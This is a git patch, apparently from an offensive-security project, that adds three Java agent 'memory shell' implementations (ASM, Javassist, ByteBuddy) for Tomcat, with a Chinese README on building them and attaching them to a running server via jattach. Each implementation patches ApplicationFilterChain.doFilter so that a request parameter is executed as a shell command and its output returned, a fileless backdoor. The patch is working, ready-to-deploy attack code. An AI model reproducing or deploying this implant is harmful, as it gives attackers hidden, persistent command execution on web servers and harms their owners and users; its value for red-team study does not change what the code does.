From 0f870830480121f1762ac0ed28364c4c4ce19950 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 3 Apr 2025 00:41:41 +0800 Subject: [PATCH] feat: add three implementations for agent memshell --- bom/build.gradle | 2 +- memshell-agent/README.md | 65 ++++++++++++++ .../memshell-agent-asm/build.gradle | 5 +- .../agent/CommandFilterChainTransformer.java | 86 ++++++++++--------- .../memshell-agent-bytebuddy/build.gradle | 29 +++++-- .../agent/CommandFilterChainTransformer.java | 71 +++++++++++++++ .../memshell-agent-javassist/build.gradle | 28 ++++-- .../agent/CommandFilterChainTransformer.java | 66 ++++++++++++++ 8 files changed, 295 insertions(+), 57 deletions(-) create mode 100644 memshell-agent/README.md create mode 100644 memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java create mode 100644 memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java diff --git a/bom/build.gradle b/bom/build.gradle index fe96df6e..50664c89 100644 --- a/bom/build.gradle +++ b/bom/build.gradle @@ -4,7 +4,7 @@ plugins { dependencies { constraints { - api 'net.bytebuddy:byte-buddy:1.+' + api 'net.bytebuddy:byte-buddy:1.17.5' api 'org.ow2.asm:asm-commons:9.7.1' api 'com.github.jar-analyzer:class-obf:1.5.0' diff --git a/memshell-agent/README.md b/memshell-agent/README.md new file mode 100644 index 00000000..9d45b518 --- /dev/null +++ b/memshell-agent/README.md @@ -0,0 +1,65 @@ +## Agent 内存马 + +### 实现原理 + +JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的 +Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。 + +JavaAgent 有两种入口: + +1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了 + `public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加 + `java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。 +2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了 + `public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行 + attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。 + +当一个 jar 包中 MANIFEST 定义如下时: + +```text +Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer +Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer +Can-Redefine-Classes: true +Can-Retransform-Classes: true +Can-Set-Native-Method-Prefix: true +``` + +那么这个 Java Agent 既支持静态注入,也支持动态注入。 + +### 实现方式 + +> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式 + +1. 基于 + ASM,[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java) +2. 基于 + Javassist,[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java) +3. 基于 + ByteBuddy,[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java) + +### 如何使用 + +可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。 + +```bash +## 进入项目根目录 +cd MemShellParty + +## MacOs or Linux +./gradlew :memshell-agent:jar + +## Windows +gradlew.bat :memshell-agent:jar +``` + +构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如: + +- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar +- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar +- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar + +下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。 + +1. 启动你需要注入的 Tomcat +2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径 +3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功 \ No newline at end of file diff --git a/memshell-agent/memshell-agent-asm/build.gradle b/memshell-agent/memshell-agent-asm/build.gradle index df0d3a1e..954b067c 100644 --- a/memshell-agent/memshell-agent-asm/build.gradle +++ b/memshell-agent/memshell-agent-asm/build.gradle @@ -16,7 +16,6 @@ java { dependencies { implementation 'org.ow2.asm:asm-commons:9.7.1' - implementation 'javax.servlet:javax.servlet-api:3.1.0' } jar { @@ -27,4 +26,6 @@ jar { attributes 'Can-Retransform-Classes': true attributes 'Can-Set-Native-Method-Prefix': true } -} \ No newline at end of file +} + +jar.finalizedBy shadowJar \ No newline at end of file diff --git a/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java b/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java index 827050fe..60ff9d84 100644 --- a/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java +++ b/memshell-agent/memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java @@ -4,7 +4,7 @@ import org.objectweb.asm.*; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; -import java.lang.reflect.Method; +import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; /** @@ -14,19 +14,51 @@ public class CommandFilterChainTransformer implements ClassFileTransformer { private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; - public static ClassVisitor getClassVisitor(ClassVisitor cv) { - return new ClassVisitor(Opcodes.ASM9, cv) { - @Override - public MethodVisitor visitMethod(int access, String name, String descriptor, - String signature, String[] exceptions) { - MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - if ("doFilter".equals(name) && - "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) { - return new DoFilterMethodVisitor(mv); - } - return mv; + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if ("doFilter".equals(name) && + "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(descriptor)) { + return new DoFilterMethodVisitor(mv); + } + return mv; + } + }; + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); } - }; + } + return bytes; + } + + public static void premain(String args, Instrumentation inst) { + inst.addTransformer(new CommandFilterChainTransformer(), true); + } + + public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException { + inst.addTransformer(new CommandFilterChainTransformer(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } } private static class DoFilterMethodVisitor extends MethodVisitor { @@ -178,32 +210,4 @@ public class CommandFilterChainTransformer implements ClassFileTransformer { } } - @Override - public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, - ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className)) { - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); - Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader"); - getClassLoader.setAccessible(true); - System.out.println(getClassLoader.invoke(cw)); - ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); - } - } - return bytes; - } - - public static void premain(String args, Instrumentation inst) { - inst.addTransformer(new CommandFilterChainTransformer(), true); - } - - public static void agentmain(String args, Instrumentation inst) { - System.out.println(DoFilterMethodVisitor.class.getClassLoader()); - inst.addTransformer(new CommandFilterChainTransformer(), true); - } } \ No newline at end of file diff --git a/memshell-agent/memshell-agent-bytebuddy/build.gradle b/memshell-agent/memshell-agent-bytebuddy/build.gradle index 1d470d51..5f88a86b 100644 --- a/memshell-agent/memshell-agent-bytebuddy/build.gradle +++ b/memshell-agent/memshell-agent-bytebuddy/build.gradle @@ -1,16 +1,31 @@ plugins { id 'java' + id 'com.github.johnrengelman.shadow' version '8.1.1' } group = 'com.reajason.javaweb' version = '1.0.0' - -dependencies { - testImplementation platform('org.junit:junit-bom:5.10.0') - testImplementation 'org.junit.jupiter:junit-jupiter' +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 } -test { - useJUnitPlatform() -} \ No newline at end of file +dependencies { + implementation 'net.bytebuddy:byte-buddy:1.17.5' +} + +jar { + manifest { + attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Can-Redefine-Classes': true + attributes 'Can-Retransform-Classes': true + attributes 'Can-Set-Native-Method-Prefix': true + } +} + +jar.finalizedBy shadowJar \ No newline at end of file diff --git a/memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java b/memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java new file mode 100644 index 00000000..7c874cb6 --- /dev/null +++ b/memshell-agent/memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.memshell.agent; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/4/2 + */ +public class CommandFilterChainTransformer implements AgentBuilder.Transformer { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response + ) { + String paramName = "paramName"; + try { + String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。 + } + } catch (Exception ignored) { + } + return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。 + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) + .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) + .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("org.apache.catalina.core.ApplicationFilterChain")) + .transform(new CommandFilterChainTransformer()) + .installOn(inst); + } +} diff --git a/memshell-agent/memshell-agent-javassist/build.gradle b/memshell-agent/memshell-agent-javassist/build.gradle index d5eaeef3..896d0c3d 100644 --- a/memshell-agent/memshell-agent-javassist/build.gradle +++ b/memshell-agent/memshell-agent-javassist/build.gradle @@ -1,15 +1,31 @@ plugins { id 'java' + id 'com.github.johnrengelman.shadow' version '8.1.1' } group = 'com.reajason.javaweb' version = '1.0.0' -dependencies { - testImplementation platform('org.junit:junit-bom:5.10.0') - testImplementation 'org.junit.jupiter:junit-jupiter' +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 } -test { - useJUnitPlatform() -} \ No newline at end of file +dependencies { + implementation 'org.javassist:javassist:3.30.2-GA' +} + +jar { + manifest { + attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer' + attributes 'Can-Redefine-Classes': true + attributes 'Can-Retransform-Classes': true + attributes 'Can-Set-Native-Method-Prefix': true + } +} + +jar.finalizedBy shadowJar \ No newline at end of file diff --git a/memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java b/memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java new file mode 100644 index 00000000..5b2c5053 --- /dev/null +++ b/memshell-agent/memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.memshell.agent; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.ByteArrayInputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +public class CommandFilterChainTransformer implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new javassist.LoaderClassPath(loader)); + + CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true); + CtMethod doFilter = cc.getDeclaredMethod("doFilter"); + + String code = + "String paramName = \"paramName\";" + + "try {" + + " String cmd = $1.getParameter(paramName);" + + " if (cmd != null) {" + + " Process exec = Runtime.getRuntime().exec(cmd);" + + " java.io.InputStream inputStream = exec.getInputStream();" + + " byte[] buf = new byte[8192];" + + " int length;" + + " while ((length = inputStream.read(buf)) != -1) {" + + " $2.getOutputStream().write(buf, 0, length);" + + " }" + + " return;" + + " }" + + "} catch (Exception ignored) {}"; + + doFilter.insertBefore(code); + byte[] transformedBytes = cc.toBytecode(); + cc.detach(); + return transformedBytes; + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static void premain(String args, Instrumentation inst) { + inst.addTransformer(new CommandFilterChainTransformer(), true); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + inst.addTransformer(new CommandFilterChainTransformer(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + } +} \ No newline at end of file